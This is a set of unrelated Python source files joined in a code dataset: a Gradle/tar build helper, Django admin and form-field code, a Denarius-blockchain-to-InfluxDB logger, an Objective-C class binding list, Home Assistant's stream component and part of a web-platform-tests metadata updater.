cmd += ' ' + tar_path
# _process = subprocess.Popen("exec " + cmd, stdout=subprocess.PIPE, shell=True)
try:
os.system(cmd)
except OSError as err:
error_msg('OS Error -' + str(err))
os.sys.exit()
async def gradlew_build(task):
cmd = './gradlew build -x test'
try:
os.system(cmd)
except OSError as err:
error_msg('OS Error -' + str(err))
os.sys.exit()
else:
success_msg(task + ' gradlew build finished')
"""
Phrase
"""
class Phrase(object):
@staticmethod
def convert_bytes(n):
symbols = ('K', 'M', 'G', 'T', 'P', 'E', 'Z', 'Y')
prefix = {}
for i, s in enumerate(symbols):
prefix[s] = 1 << (i + 1) * 10
for s in reversed(symbols):
if n >= prefix[s]:
value = float(n) / prefix[s]
return '%.1f%s' % (value, s)
return "%sB" % n
@staticmethod
def load_json_file(json_file_path):
f = open(json_file_path)
_json_props = json.load(f)
f.close()
return _json_props
def store_json2properties_to_file(self, json_props, target_file_path):
"""
convert json to properties and store in target file
"""
_properties = self.json2properties(json_props)
_properties_str_formatted = self.properties2str(_properties)
f = open(target_file_path, 'w')
f.write(_properties_str_formatted)
f.close()
def store_json2javabeanconfig_to_file(self, json_props, target_file_path):
"""
convert json to properties and store in target file
"""
_properties = self.json2properties(json_props)
_properties_str_formatted = self.properties2str_bean(_properties)
f = open(target_file_path, 'w')
f.write(_properties_str_formatted)
f.close()
@staticmethod
def properties2str(properties_props):
"""
convert properties to string, and change format
"""
_formatted_str = str(properties_props)
_formatted_str = re.sub("}, '", "},\n\n'", _formatted_str)
_formatted_str = re.sub("':", ":", _formatted_str)
_formatted_str = re.sub("' ", "", _formatted_str)
_formatted_str = re.sub("'", "\"", _formatted_str)
return _formatted_str
@staticmethod
def properties2str_bean(properties_props):
"""
convert properties to string, and change format
"""
_formatted_str = str(properties_props)
_formatted_str = re.sub("}, '", "},\n\n'", _formatted_str)
_formatted_str = re.sub("':", ":", _formatted_str)
_formatted_str = re.sub("' ", "", _formatted_str)
_formatted_str = re.sub("'", "\"", _formatted_str)
_formatted_str = re.sub(":", " =", _formatted_str)
_formatted_str = re.sub(", ", "\r", _formatted_str)
_formatted_str = re.sub("\"", "", _formatted_str)
return _formatted_str[1:-1]
@staticmethod
def json2properties(json_props):
"""
Credit: this function is based on the phrase code in the project:
echinopsii/net.echinopsii.ariane.community.cli.python3.
"""
properties = {}
if isinstance(json_props, list):
for prop in json_props:
if isinstance(prop['propertyValue'], list):
properties[prop['propertyName']] = prop['propertyValue'][1]
elif isinstance(prop['propertyValue'], dict):
map_property = {}
for prop_key, prop_value in prop['propertyValue'].items():
if prop_value.__len__() > 1:
map_property[prop_key] = prop_value[1]
else:
print('json2properties - ' + prop_key +
' will be ignored as its definition is incomplete...')
properties[prop['propertyName']] = map_property
elif prop['propertyType'] == 'array':
j_data = json.loads(prop['propertyValue'])
if j_data.__len__() > 1:
if j_data[0] == 'map':
t_data = []
for amap in j_data[1]:
t_data.append(DriverTools.json_map2properties(amap))
properties[prop['propertyName']] = t_data
elif j_data[0] == 'array':
t_data = []
for ar in j_data[1]:
t_data.append(DriverTools.json_array2properties(ar))
properties[prop['propertyName']] = t_data
else:
properties[prop['propertyName']] = j_data[1]
else:
print('json2properties - ' + prop['propertyName'] +
' will be ignored as its definition is incomplete...')
elif prop['propertyType'] == 'map':
j_data = json.loads(prop['propertyValue'])
map_property = DriverTools.json_map2properties(j_data)
properties[prop['propertyName']] = map_property
else:
properties[prop['propertyName']] = prop['propertyValue']
else:
properties = json_props
return properties
@staticmethod
def str2xml_to_file(xml_str, target_file_path):
"""
use xml string to create logback xml file
"""
f = open(target_file_path, 'w+')
f.write(xml_str) |
py | 1a4ce31bcd51d08dc10296059ee53a8ef736a9ad | from django.contrib import admin
from django.db.models import TextField
from django.forms import Textarea
from .models import Job, Analysis, Project, Access, Data
@admin.register(Access)
class AccessAdmin(admin.ModelAdmin):
list_select_related = (
'user',
'project',
)
readonly_fields = (
'user',
)
pass
@admin.register(Data)
class DataAdmin(admin.ModelAdmin):
formfield_overrides = {
TextField: {'widget': Textarea(attrs={'rows': 20, 'cols': 100})},
}
search_fields = ('name', 'owner__first_name', 'owner__email', 'state', "project__name",
"project__owner__first_name", "project__owner__email", "id", "uid")
list_display = ("name", "project", "lastedit_date", "date", 'size', 'type')
list_filter = ("project__name", "deleted")
fieldsets = (("Data Metadata",
{'fields': ("name", "owner", "image", "deleted", 'type',
'rank'),
#"file"),
"classes": ('extrapretty')}
),
("Optional Text Inputs",
{'fields': (("text", )),
"classes": ("collapse", 'extrapretty')}
),
)
pass
@admin.register(Job)
class JobAdmin(admin.ModelAdmin):
formfield_overrides = {
TextField: {'widget': Textarea(attrs={'rows': 20, 'cols': 100})},
}
search_fields = ('name', 'owner__first_name', 'owner__email', 'state', "project__name",
"project__owner__first_name", "project__owner__email", "id", "uid")
list_display = ("name", "state", "start_date", "security", "date")
list_filter = ("state", "security", "project__name", "deleted")
fieldsets = (("Job Metadata",
{'fields': ("name", "owner", 'project', ("uid"),
("state", "security"), "image"),
"classes": ('extrapretty')}
),
("Optional Text Inputs",
{'fields': (("text", "html")),
"classes": ("collapse", 'extrapretty')}
),
("Run Time Settings",
{'fields': ("json_text", "template"),
"classes": ("wide", 'extrapretty')},
),
)
@admin.register(Analysis)
class AnalysisAdmin(admin.ModelAdmin):
formfield_overrides = {
TextField: {'widget': Textarea(attrs={'rows': 20, 'cols': 100})},
}
search_fields = ('name', 'text', 'owner__first_name', 'owner__email', "project__name",
"project__owner__first_name", "project__owner__email", "id", "uid")
list_display = ("name", "date", "security")
list_filter = ("security", "project__name", "deleted")
fieldsets = (("Analysis Metadata",
{'fields': ("name", "owner", 'project', ("uid", "rank"),
("deleted", "security"), "image", 'root'),
"classes": ('extrapretty')}
),
("Optional Text Inputs",
{'fields': (("text", "html")),
"classes": ("collapse", 'extrapretty')}
),
("Run Time Settings",
{'fields': ("json_text", "template"),
"classes": ("wide", 'extrapretty')},
),
)
@admin.register(Project)
class ProjectAdmin(admin.ModelAdmin):
formfield_overrides = {
TextField: {'widget': Textarea(attrs={'rows': 20, 'cols': 100})},
}
search_fields = ('name', 'text', 'owner__first_name', 'owner__email', 'owner__username', "id", "uid")
list_display = ("name", "date", "deleted", 'privacy', 'owner')
list_filter = ("deleted", 'privacy')
fieldsets = (("Project Metadata",
{'fields': ("name", "owner", ("uid", "rank"),
"deleted", "image", "privacy", 'sharable_token'),
"classes": ('extrapretty')}
),
("Optional Text Inputs",
{'fields': ("text",),
"classes": ("collapse", 'extrapretty')}
),
)
|
py | 1a4ce32bc3235f58773177007d5bf1a6e0ed56f3 | from denariusrpc.authproxy import AuthServiceProxy, JSONRPCException
import time
import sys
import datetime
import urllib
import json
from influxdb import InfluxDBClient
# rpc_user and rpc_password are set in the denarius.conf file
rpc_connection = AuthServiceProxy("http://%s:%[email protected]:32369"%("rpcuser", "rpcpassword"))
#test
blocktest = rpc_connection.getblockcount()
print(blocktest)
#for i in range(3):
# print(i)
# block = rpc_connection.getblockbynumber(i)
# print(block)
# Configure InfluxDB connection variables
host = "127.0.0.1" # My Ubuntu NUC
port = 8086 # default port
user = "admin" # the user/password with write access
password = "admin"
dbname = "blocks" # the database we created earlier
interval = 60 # Sample period in seconds
# Create the InfluxDB client object
client = InfluxDBClient(host, port, user, password, dbname)
# think of measurement as a SQL table, it's not...but...
measurement = "measurement"
# location will be used as a grouping tag later
blockchain = "denarius"
# Run until you get a ctrl^c
#def main():
import time
#for i in range(2499428, 2499437):
# print(i)
blockcount = rpc_connection.getblockcount()
block = rpc_connection.getblockbynumber(blockcount)
grafanatime = block['time'] * 1000000000
hash = block['hash']
size = block['size']
height = block['height']
version = block['version']
merkleroot = block['merkleroot']
mint = int(block['mint'])
timed = block['time']
nonce = block['nonce']
bits = block['bits']
difficulty = float(block['difficulty'])
blocktrust = block['blocktrust']
chaintrust = block['chaintrust']
chainwork = block['chainwork']
previousblockhash = block['previousblockhash']
#nextblockhash = block['nextblockhash']
flags = block['flags']
proofhash = block['proofhash']
entropybit = block['entropybit']
modifier = block['modifier']
modifierchecksum = block['modifierchecksum']
data = [
{
"measurement": measurement,
"tags": {
"blockchain": blockchain,
},
"time": grafanatime,
"fields": {
#"block" : i,
"hash" : hash,
"size" : size,
"height" : height,
"version" : version,
"merkleroot" : merkleroot,
"mint" : mint,
"time" : timed,
"nonce" : nonce,
"bits" : bits,
"difficulty" : difficulty,
"blocktrust" : blocktrust,
"chaintrust" : chaintrust,
"chainwork" : chainwork,
# "nextblockhash" : nextblockhash,
"flags" : flags,
"proofhash" : proofhash,
"entropybit" : entropybit,
"modifier" : modifier,
"modifierchecksum" : modifierchecksum
}
}
]
# Send the JSON data to InfluxDB
print(difficulty)
client.write_points(data)
|
py | 1a4ce3461302a8c58eb21b6606912331b6f5e08e | '''
Classes from the 'AssetsLibraryServices' framework.
'''
try:
from rubicon.objc import ObjCClass
except ValueError:
def ObjCClass(name):
return None
def _Class(name):
try:
return ObjCClass(name)
except NameError:
return None
PLAutoBindingBlackholeProxy = _Class('PLAutoBindingBlackholeProxy')
PLAppPrivateData = _Class('PLAppPrivateData')
PLVolumeInfo = _Class('PLVolumeInfo')
PLDiskController = _Class('PLDiskController')
PLAssetsdClientXPCConnection = _Class('PLAssetsdClientXPCConnection')
PLAutoBindingProxyFactory = _Class('PLAutoBindingProxyFactory')
PLXPCMessageLogger = _Class('PLXPCMessageLogger')
PLLazyObject = _Class('PLLazyObject')
PLAtomicObject = _Class('PLAtomicObject')
PLFileSystemPersistenceAttributes = _Class('PLFileSystemPersistenceAttributes')
PLFileSystemPersistenceBatchItem = _Class('PLFileSystemPersistenceBatchItem')
PLFileSystemPersistence = _Class('PLFileSystemPersistence')
PLFileSystemCapabilities = _Class('PLFileSystemCapabilities')
PLCoreAnalyticsEvent = _Class('PLCoreAnalyticsEvent')
PLAssetsdInterface = _Class('PLAssetsdInterface')
PLPhotoLibraryPathManager = _Class('PLPhotoLibraryPathManager')
PLPrivacy = _Class('PLPrivacy')
PLImageFormat = _Class('PLImageFormat')
PLExclusiveFileLock = _Class('PLExclusiveFileLock')
PLNonBindingAssetsdClient = _Class('PLNonBindingAssetsdClient')
PLAssetFormatsCore = _Class('PLAssetFormatsCore')
PLAssetsdClient = _Class('PLAssetsdClient')
PLSecurity = _Class('PLSecurity')
PLAssetsdServiceProxyFactory = _Class('PLAssetsdServiceProxyFactory')
PLResult = _Class('PLResult')
PLAssetsdClientSandboxExtensions = _Class('PLAssetsdClientSandboxExtensions')
PLImportFileManager = _Class('PLImportFileManager')
PLFileUtilities = _Class('PLFileUtilities')
PLGatekeeperClient = _Class('PLGatekeeperClient')
PLImageDataInfo = _Class('PLImageDataInfo')
PLCPLDownloadContext = _Class('PLCPLDownloadContext')
PLLibraryServicesStateNode = _Class('PLLibraryServicesStateNode')
PLSandboxHelper = _Class('PLSandboxHelper')
PLBuildVersion = _Class('PLBuildVersion')
PLCoreAnalyticsEventManager = _Class('PLCoreAnalyticsEventManager')
PLFormatChooser = _Class('PLFormatChooser')
PLLibraryBookmarkManager = _Class('PLLibraryBookmarkManager')
PLQueryBuilder = _Class('PLQueryBuilder')
PLDeviceConfiguration = _Class('PLDeviceConfiguration')
PLAssetsdClientService = _Class('PLAssetsdClientService')
PLPhotoDCIMDirectory = _Class('PLPhotoDCIMDirectory')
PLCPLPlistHandler = _Class('PLCPLPlistHandler')
PLXPCObject = _Class('PLXPCObject')
PLXPCShMemObject = _Class('PLXPCShMemObject')
PLXPCDictionary = _Class('PLXPCDictionary')
PLXPCFileDescriptor = _Class('PLXPCFileDescriptor')
PLXPCGenericObject = _Class('PLXPCGenericObject')
PLXPCTransaction = _Class('PLXPCTransaction')
PLCIFilterUtilities = _Class('PLCIFilterUtilities')
PLPhotoLibraryFileIdentifier = _Class('PLPhotoLibraryFileIdentifier')
PLPhotoLibraryPathManagerCore = _Class('PLPhotoLibraryPathManagerCore')
PLPhotoLibraryPathManagerDCIM = _Class('PLPhotoLibraryPathManagerDCIM')
PLPhotoLibraryPathManagerUBF = _Class('PLPhotoLibraryPathManagerUBF')
PLPositionalImageTable = _Class('PLPositionalImageTable')
PLThumbnailManagerCore = _Class('PLThumbnailManagerCore')
PLThumbFileManagerCore = _Class('PLThumbFileManagerCore')
PLMigrationServiceOptions = _Class('PLMigrationServiceOptions')
PLAssetsdBaseClient = _Class('PLAssetsdBaseClient')
PLAssetsdResourceClient = _Class('PLAssetsdResourceClient')
PLAssetsdDiagnosticsClient = _Class('PLAssetsdDiagnosticsClient')
PLAssetsdSystemLibraryURLReadOnlyClient = _Class('PLAssetsdSystemLibraryURLReadOnlyClient')
PLAssetsdCloudClient = _Class('PLAssetsdCloudClient')
PLAssetsdPrivacySupportClient = _Class('PLAssetsdPrivacySupportClient')
PLAssetsdResourceInternalClient = _Class('PLAssetsdResourceInternalClient')
PLAssetsdPhotoKitAddClient = _Class('PLAssetsdPhotoKitAddClient')
PLAssetsdMigrationClient = _Class('PLAssetsdMigrationClient')
PLAssetsdCloudInternalClient = _Class('PLAssetsdCloudInternalClient')
PLAssetsdLibraryManagementClient = _Class('PLAssetsdLibraryManagementClient')
PLAssetsdLibraryInternalClient = _Class('PLAssetsdLibraryInternalClient')
PLAssetsdDebugClient = _Class('PLAssetsdDebugClient')
PLAssetsdResourceAvailabilityClient = _Class('PLAssetsdResourceAvailabilityClient')
PLAssetsdDemoClient = _Class('PLAssetsdDemoClient')
PLAssetsdSyncClient = _Class('PLAssetsdSyncClient')
PLAssetsdPhotoKitClient = _Class('PLAssetsdPhotoKitClient')
PLAssetsdResourceWriteOnlyClient = _Class('PLAssetsdResourceWriteOnlyClient')
PLAssetsdLibraryClient = _Class('PLAssetsdLibraryClient')
PLAssetsdNotificationClient = _Class('PLAssetsdNotificationClient')
PLPhotoDCFObject = _Class('PLPhotoDCFObject')
PLPhotoDCFFileGroup = _Class('PLPhotoDCFFileGroup')
PLPhotoDCFDirectory = _Class('PLPhotoDCFDirectory')
PLSingleQuery = _Class('PLSingleQuery')
PLQuery = _Class('PLQuery')
PLLibraryServicesOperation = _Class('PLLibraryServicesOperation')
PLUUIDString = _Class('PLUUIDString')
PLSandboxedURL = _Class('PLSandboxedURL')
PLXPCShMemData = _Class('PLXPCShMemData')
|
py | 1a4ce36fba0fcdc320c9b2bbf5ccf3c15cbdd7b5 | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.forms import widgets
from django.forms.util import ErrorList
from django.core.exceptions import ValidationError
class PartialFormField(object):
"""
Behave similar to django.forms.Field, encapsulating a partial dictionary, stored as
JSONField in the database.
"""
def __init__(self, name, widget, label=None, initial='', help_text='', error_class=ErrorList):
if not name:
raise AttributeError('The field must have a name')
self.name = name
if not isinstance(widget, widgets.Widget):
raise AttributeError('The field `widget` must be derived from django.forms.widgets.Widget')
self.label = label or name
self.widget = widget
self.initial = initial
self.help_text = help_text
self.error_class = error_class
def run_validators(self, value):
if not callable(getattr(self.widget, 'validate', None)):
return
errors = []
if callable(getattr(self.widget, '__iter__', None)):
for field_name in self.widget:
try:
self.widget.validate(value.get(self.name), field_name)
except ValidationError as e:
if isinstance(getattr(e, 'params', None), dict):
e.params.update(label=self.label)
messages = self.error_class([m for m in e.messages])
errors.extend(messages)
else:
try:
self.widget.validate(value.get(self.name))
except ValidationError as e:
if isinstance(getattr(e, 'params', None), dict):
e.params.update(label=self.label)
errors = self.error_class([m for m in e.messages])
if errors:
raise ValidationError(errors)
def get_element_ids(self, prefix_id):
"""
Returns a single or a list of element ids, one for each input widget of this field
"""
if isinstance(self.widget, widgets.MultiWidget):
ids = ['{0}_{1}_{2}'.format(prefix_id, self.name, field_name) for field_name in self.widget]
elif isinstance(self.widget, (widgets.SelectMultiple, widgets.RadioSelect)):
ids = ['{0}_{1}_{2}'.format(prefix_id, self.name, k) for k in range(len(self.widget.choices))]
else:
ids = ['{0}_{1}'.format(prefix_id, self.name)]
return ids
|
py | 1a4ce3d92e8859fd3b3b8bb6dea86fbbf6ebc149 | """Provide functionality to stream video source.
Components use create_stream with a stream source (e.g. an rtsp url) to create
a new Stream object. Stream manages:
- Background work to fetch and decode a stream
- Desired output formats
- Home Assistant URLs for viewing a stream
- Access tokens for URLs for viewing a stream
A Stream consists of a background worker, and one or more output formats each
with their own idle timeout managed by the stream component. When an output
format is no longer in use, the stream component will expire it. When there
are no active output formats, the background worker is shut down and access
tokens are expired. Alternatively, a Stream can be configured with keepalive
to always keep workers active.
"""
from __future__ import annotations
from collections.abc import Callable, Mapping
import logging
import re
import secrets
import threading
import time
from types import MappingProxyType
from typing import cast
import voluptuous as vol
from homeassistant.const import EVENT_HOMEASSISTANT_STOP
from homeassistant.core import Event, HomeAssistant, callback
from homeassistant.exceptions import HomeAssistantError
import homeassistant.helpers.config_validation as cv
from homeassistant.helpers.typing import ConfigType
from .const import (
ATTR_ENDPOINTS,
ATTR_SETTINGS,
ATTR_STREAMS,
CONF_LL_HLS,
CONF_PART_DURATION,
CONF_SEGMENT_DURATION,
DOMAIN,
HLS_PROVIDER,
MAX_SEGMENTS,
OUTPUT_IDLE_TIMEOUT,
RECORDER_PROVIDER,
SEGMENT_DURATION_ADJUSTER,
STREAM_RESTART_INCREMENT,
STREAM_RESTART_RESET_TIME,
TARGET_SEGMENT_DURATION_NON_LL_HLS,
)
from .core import PROVIDERS, IdleTimer, KeyFrameConverter, StreamOutput, StreamSettings
from .hls import HlsStreamOutput, async_setup_hls
_LOGGER = logging.getLogger(__name__)
STREAM_SOURCE_REDACT_PATTERN = [
(re.compile(r"//.*:.*@"), "//****:****@"),
(re.compile(r"\?auth=.*"), "?auth=****"),
]
def redact_credentials(data: str) -> str:
"""Redact credentials from string data."""
for (pattern, repl) in STREAM_SOURCE_REDACT_PATTERN:
data = pattern.sub(repl, data)
return data
def create_stream(
hass: HomeAssistant,
stream_source: str,
options: dict[str, str],
stream_label: str | None = None,
) -> Stream:
"""Create a stream with the specified identfier based on the source url.
The stream_source is typically an rtsp url (though any url accepted by ffmpeg is fine) and
options are passed into pyav / ffmpeg as options.
The stream_label is a string used as an additional message in logging.
"""
if DOMAIN not in hass.config.components:
raise HomeAssistantError("Stream integration is not set up.")
# For RTSP streams, prefer TCP
if isinstance(stream_source, str) and stream_source[:7] == "rtsp://":
options = {
"rtsp_flags": "prefer_tcp",
"stimeout": "5000000",
**options,
}
stream = Stream(hass, stream_source, options=options, stream_label=stream_label)
hass.data[DOMAIN][ATTR_STREAMS].append(stream)
return stream
CONFIG_SCHEMA = vol.Schema(
{
DOMAIN: vol.Schema(
{
vol.Optional(CONF_LL_HLS, default=False): cv.boolean,
vol.Optional(CONF_SEGMENT_DURATION, default=6): vol.All(
cv.positive_float, vol.Range(min=2, max=10)
),
vol.Optional(CONF_PART_DURATION, default=1): vol.All(
cv.positive_float, vol.Range(min=0.2, max=1.5)
),
}
)
},
extra=vol.ALLOW_EXTRA,
)
def filter_libav_logging() -> None:
"""Filter libav logging to only log when the stream logger is at DEBUG."""
stream_debug_enabled = logging.getLogger(__name__).isEnabledFor(logging.DEBUG)
def libav_filter(record: logging.LogRecord) -> bool:
return stream_debug_enabled
for logging_namespace in (
"libav.mp4",
"libav.h264",
"libav.hevc",
"libav.rtsp",
"libav.tcp",
"libav.tls",
"libav.mpegts",
"libav.NULL",
):
logging.getLogger(logging_namespace).addFilter(libav_filter)
# Set log level to error for libav.mp4
logging.getLogger("libav.mp4").setLevel(logging.ERROR)
# Suppress "deprecated pixel format" WARNING
logging.getLogger("libav.swscaler").setLevel(logging.ERROR)
async def async_setup(hass: HomeAssistant, config: ConfigType) -> bool:
"""Set up stream."""
# Drop libav log messages if stream logging is above DEBUG
filter_libav_logging()
# Keep import here so that we can import stream integration without installing reqs
# pylint: disable=import-outside-toplevel
from .recorder import async_setup_recorder
hass.data[DOMAIN] = {}
hass.data[DOMAIN][ATTR_ENDPOINTS] = {}
hass.data[DOMAIN][ATTR_STREAMS] = []
if (conf := config.get(DOMAIN)) and conf[CONF_LL_HLS]:
assert isinstance(conf[CONF_SEGMENT_DURATION], float)
assert isinstance(conf[CONF_PART_DURATION], float)
hass.data[DOMAIN][ATTR_SETTINGS] = StreamSettings(
ll_hls=True,
min_segment_duration=conf[CONF_SEGMENT_DURATION]
- SEGMENT_DURATION_ADJUSTER,
part_target_duration=conf[CONF_PART_DURATION],
hls_advance_part_limit=max(int(3 / conf[CONF_PART_DURATION]), 3),
hls_part_timeout=2 * conf[CONF_PART_DURATION],
)
else:
hass.data[DOMAIN][ATTR_SETTINGS] = StreamSettings(
ll_hls=False,
min_segment_duration=TARGET_SEGMENT_DURATION_NON_LL_HLS
- SEGMENT_DURATION_ADJUSTER,
part_target_duration=TARGET_SEGMENT_DURATION_NON_LL_HLS,
hls_advance_part_limit=3,
hls_part_timeout=TARGET_SEGMENT_DURATION_NON_LL_HLS,
)
# Setup HLS
hls_endpoint = async_setup_hls(hass)
hass.data[DOMAIN][ATTR_ENDPOINTS][HLS_PROVIDER] = hls_endpoint
# Setup Recorder
async_setup_recorder(hass)
@callback
def shutdown(event: Event) -> None:
"""Stop all stream workers."""
for stream in hass.data[DOMAIN][ATTR_STREAMS]:
stream.keepalive = False
stream.stop()
_LOGGER.info("Stopped stream workers")
hass.bus.async_listen_once(EVENT_HOMEASSISTANT_STOP, shutdown)
return True
class Stream:
"""Represents a single stream."""
def __init__(
self,
hass: HomeAssistant,
source: str,
options: dict[str, str],
stream_label: str | None = None,
) -> None:
"""Initialize a stream."""
self.hass = hass
self.source = source
self.options = options
self._stream_label = stream_label
self.keepalive = False
self.access_token: str | None = None
self._thread: threading.Thread | None = None
self._thread_quit = threading.Event()
self._outputs: dict[str, StreamOutput] = {}
self._fast_restart_once = False
self._keyframe_converter = KeyFrameConverter(hass)
self._available: bool = True
self._update_callback: Callable[[], None] | None = None
self._logger = (
logging.getLogger(f"{__package__}.stream.{stream_label}")
if stream_label
else _LOGGER
)
def endpoint_url(self, fmt: str) -> str:
"""Start the stream and returns a url for the output format."""
if fmt not in self._outputs:
raise ValueError(f"Stream is not configured for format '{fmt}'")
if not self.access_token:
self.access_token = secrets.token_hex()
endpoint_fmt: str = self.hass.data[DOMAIN][ATTR_ENDPOINTS][fmt]
return endpoint_fmt.format(self.access_token)
def outputs(self) -> Mapping[str, StreamOutput]:
"""Return a copy of the stream outputs."""
# A copy is returned so the caller can iterate through the outputs
# without concern about self._outputs being modified from another thread.
return MappingProxyType(self._outputs.copy())
def add_provider(
self, fmt: str, timeout: int = OUTPUT_IDLE_TIMEOUT
) -> StreamOutput:
"""Add provider output stream."""
if not self._outputs.get(fmt):
@callback
def idle_callback() -> None:
if (
not self.keepalive or fmt == RECORDER_PROVIDER
) and fmt in self._outputs:
self.remove_provider(self._outputs[fmt])
self.check_idle()
provider = PROVIDERS[fmt](
self.hass, IdleTimer(self.hass, timeout, idle_callback)
)
self._outputs[fmt] = provider
return self._outputs[fmt]
def remove_provider(self, provider: StreamOutput) -> None:
"""Remove provider output stream."""
if provider.name in self._outputs:
self._outputs[provider.name].cleanup()
del self._outputs[provider.name]
if not self._outputs:
self.stop()
def check_idle(self) -> None:
"""Reset access token if all providers are idle."""
if all(p.idle for p in self._outputs.values()):
self.access_token = None
@property
def available(self) -> bool:
"""Return False if the stream is started and known to be unavailable."""
return self._available
def set_update_callback(self, update_callback: Callable[[], None]) -> None:
"""Set callback to run when state changes."""
self._update_callback = update_callback
@callback
def _async_update_state(self, available: bool) -> None:
"""Set state and Run callback to notify state has been updated."""
self._available = available
if self._update_callback:
self._update_callback()
def start(self) -> None:
"""Start a stream."""
if self._thread is None or not self._thread.is_alive():
if self._thread is not None:
# The thread must have crashed/exited. Join to clean up the
# previous thread.
self._thread.join(timeout=0)
self._thread_quit.clear()
self._thread = threading.Thread(
name="stream_worker",
target=self._run_worker,
)
self._thread.start()
self._logger.info(
"Started stream: %s", redact_credentials(str(self.source))
)
def update_source(self, new_source: str) -> None:
"""Restart the stream with a new stream source."""
self._logger.debug("Updating stream source %s", new_source)
self.source = new_source
self._fast_restart_once = True
self._thread_quit.set()
def _run_worker(self) -> None:
"""Handle consuming streams and restart keepalive streams."""
# Keep import here so that we can import stream integration without installing reqs
# pylint: disable=import-outside-toplevel
from .worker import StreamState, StreamWorkerError, stream_worker
stream_state = StreamState(self.hass, self.outputs)
wait_timeout = 0
while not self._thread_quit.wait(timeout=wait_timeout):
start_time = time.time()
self.hass.add_job(self._async_update_state, True)
try:
stream_worker(
self.source,
self.options,
stream_state,
self._keyframe_converter,
self._thread_quit,
)
except StreamWorkerError as err:
self._logger.error("Error from stream worker: %s", str(err))
self._available = False
stream_state.discontinuity()
if not self.keepalive or self._thread_quit.is_set():
if self._fast_restart_once:
# The stream source is updated, restart without any delay.
self._fast_restart_once = False
self._thread_quit.clear()
continue
break
self.hass.add_job(self._async_update_state, False)
# To avoid excessive restarts, wait before restarting
# As the required recovery time may be different for different setups, start
# with trying a short wait_timeout and increase it on each reconnection attempt.
# Reset the wait_timeout after the worker has been up for several minutes
if time.time() - start_time > STREAM_RESTART_RESET_TIME:
wait_timeout = 0
wait_timeout += STREAM_RESTART_INCREMENT
self._logger.debug(
"Restarting stream worker in %d seconds: %s",
wait_timeout,
self.source,
)
self._worker_finished()
def _worker_finished(self) -> None:
"""Schedule cleanup of all outputs."""
@callback
def remove_outputs() -> None:
for provider in self.outputs().values():
self.remove_provider(provider)
self.hass.loop.call_soon_threadsafe(remove_outputs)
def stop(self) -> None:
"""Remove outputs and access token."""
self._outputs = {}
self.access_token = None
if not self.keepalive:
self._stop()
def _stop(self) -> None:
"""Stop worker thread."""
if self._thread is not None:
self._thread_quit.set()
self._thread.join()
self._thread = None
self._logger.info(
"Stopped stream: %s", redact_credentials(str(self.source))
)
async def async_record(
self, video_path: str, duration: int = 30, lookback: int = 5
) -> None:
"""Make a .mp4 recording from a provided stream."""
# Keep import here so that we can import stream integration without installing reqs
# pylint: disable=import-outside-toplevel
from .recorder import RecorderOutput
# Check for file access
if not self.hass.config.is_allowed_path(video_path):
raise HomeAssistantError(f"Can't write {video_path}, no access to path!")
# Add recorder
if recorder := self.outputs().get(RECORDER_PROVIDER):
assert isinstance(recorder, RecorderOutput)
raise HomeAssistantError(
f"Stream already recording to {recorder.video_path}!"
)
recorder = cast(
RecorderOutput, self.add_provider(RECORDER_PROVIDER, timeout=duration)
)
recorder.video_path = video_path
self.start()
self._logger.debug("Started a stream recording of %s seconds", duration)
# Take advantage of lookback
hls: HlsStreamOutput = cast(HlsStreamOutput, self.outputs().get(HLS_PROVIDER))
if lookback > 0 and hls:
num_segments = min(int(lookback // hls.target_duration), MAX_SEGMENTS)
# Wait for latest segment, then add the lookback
await hls.recv()
recorder.prepend(list(hls.get_segments())[-num_segments:])
async def async_get_image(
self,
width: int | None = None,
height: int | None = None,
) -> bytes | None:
"""
Fetch an image from the Stream and return it as a jpeg in bytes.
Calls async_get_image from KeyFrameConverter. async_get_image should only be
called directly from the main loop and not from an executor thread as it uses
hass.add_executor_job underneath the hood.
"""
return await self._keyframe_converter.async_get_image(
width=width, height=height
)
|
py | 1a4ce40f86c1fe6c6fdec880471a4d8a0ed944c4 | from __future__ import print_function
import array
import os
import shutil
import tempfile
import uuid
from collections import defaultdict, namedtuple
from mozlog import structuredlog
from . import manifestupdate
from . import testloader
from . import wptmanifest
from . import wpttest
from .expected import expected_path
from .vcs import git
manifest = None # Module that will be imported relative to test_root
manifestitem = None
logger = structuredlog.StructuredLogger("web-platform-tests")
try:
import ujson as json
except ImportError:
import json
def update_expected(test_paths, serve_root, log_file_names,
rev_old=None, rev_new="HEAD", ignore_existing=False,
sync_root=None, property_order=None, boolean_properties=None,
stability=None):
"""Update the metadata files for web-platform-tests based on
the results obtained in a previous run or runs
If stability is not None, assume log_file_names refers to logs from repeated
test jobs, disable tests that don't behave as expected on all runs"""
do_delayed_imports(serve_root)
id_test_map = load_test_data(test_paths)
for metadata_path, updated_ini in update_from_logs(id_test_map,
*log_file_names,
ignore_existing=ignore_existing,
property_order=property_order,
boolean_properties=boolean_properties,
stability=stability):
write_new_expected(metadata_path, updated_ini)
if stability:
for test in updated_ini.iterchildren():
for subtest in test.iterchildren():
if subtest.new_disabled:
print("disabled: %s" % os.path.dirname(subtest.root.test_path) + "/" + subtest.name)
if test.new_disabled:
print("disabled: %s" % test.root.test_path)
def do_delayed_imports(serve_root=None):
global manifest, manifestitem
from manifest import manifest, item as manifestitem
def files_in_repo(repo_root):
return git("ls-tree", "-r", "--name-only", "HEAD").split("\n")
def rev_range(rev_old, rev_new, symmetric=False):
joiner = ".." if not symmetric else "..."
return "".join([rev_old, joiner, rev_new])
def paths_changed(rev_old, rev_new, repo):
data = git("diff", "--name-status", rev_range(rev_old, rev_new), repo=repo)
lines = [tuple(item.strip() for item in line.strip().split("\t", 1))
for line in data.split("\n") if line.strip()]
output = set(lines)
return output
def load_change_data(rev_old, rev_new, repo):
changes = paths_changed(rev_old, rev_new, repo)
rv = {}
status_keys = {"M": "modified",
"A": "new",
"D": "deleted"}
# TODO: deal with renames
for item in changes:
rv[item[1]] = status_keys[item[0]]
return rv
def unexpected_changes(manifests, change_data, files_changed):
files_changed = set(files_changed)
root_manifest = None
for manifest, paths in manifests.iteritems():
if paths["url_base"] == "/":
root_manifest = manifest
break
else:
return []
return [fn for _, fn, _ in root_manifest if fn in files_changed and change_data.get(fn) != "M"]
# For each testrun
# Load all files and scan for the suite_start entry
# Build a hash of filename: properties
# For each different set of properties, gather all chunks
# For each chunk in the set of chunks, go through all tests
# for each test, make a map of {conditionals: [(platform, new_value)]}
# Repeat for each platform
# For each test in the list of tests:
# for each conditional:
# If all the new values match (or there aren't any) retain that conditional
# If any new values mismatch:
